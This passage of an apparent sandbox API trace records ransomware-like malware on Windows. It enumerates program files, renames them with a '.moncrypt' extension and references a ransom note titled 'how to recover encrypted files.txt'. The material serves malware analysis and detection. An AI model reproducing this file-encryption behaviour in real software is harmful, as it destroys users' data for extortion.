WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\Performance\\Notes_loop.wmvc", lpUsedDefaultChar=0x0) returned 4 [0058.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 0x54e280 [0058.074] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.074] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.074] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.074] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv", dwFileAttributes=0x20) returned 0 [0058.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.075] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.moncrypt")) returned 0 [0058.075] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0058.075] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.075] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.075] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.075] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.075] GlobalUnlock (hMem=0x440004) returned 0 [0058.075] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.075] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.075] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.075] GlobalUnlock (hMem=0x440004) returned 0 [0058.075] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.075] GlobalUnlock (hMem=0x44000c) returned 0 [0058.075] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.076] CharLowerBuffW (in: lpsz="Notes_loop_PAL.wmv", cchLength=0x12 | out: lpsz="notes_loop_pal.wmv") returned 0x12 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmvy", lpUsedDefaultChar=0x0) returned 74 [0058.076] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0058.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\Performance\\Notes_loop_PAL.wmvy", lpUsedDefaultChar=0x0) returned 4 [0058.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0058.077] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.077] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.077] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.077] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv", dwFileAttributes=0x20) returned 0 [0058.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.077] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.moncrypt")) returned 0 [0058.078] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.078] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.078] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.078] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.078] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.078] GlobalUnlock (hMem=0x44000c) returned 0 [0058.078] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.078] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.078] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.078] GlobalUnlock (hMem=0x44000c) returned 0 [0058.078] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.078] GlobalUnlock (hMem=0x440004) returned 0 [0058.078] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.078] CharLowerBuffW (in: lpsz="ParentMenuButtonIcon.png", cchLength=0x18 | out: lpsz="parentmenubuttonicon.png") returned 0x18 [0058.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png", cchWideChar=80, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.pnge", lpUsedDefaultChar=0x0) returned 80 [0058.079] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\ParentMenuButtonIcon.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 0x54e280 [0058.080] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.080] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.080] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.080] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png", dwFileAttributes=0x20) returned 0 [0058.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.080] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.moncrypt")) returned 0 [0058.081] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0058.081] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.081] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.081] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.081] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.081] GlobalUnlock (hMem=0x440004) returned 0 [0058.081] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.081] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.081] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.081] GlobalUnlock (hMem=0x440004) returned 0 [0058.081] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.081] GlobalUnlock (hMem=0x44000c) returned 0 [0058.081] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.081] CharLowerBuffW (in: lpsz="ParentMenuButtonIconSubpict.png", cchLength=0x1f | out: lpsz="parentmenubuttoniconsubpict.png") returned 0x1f [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", 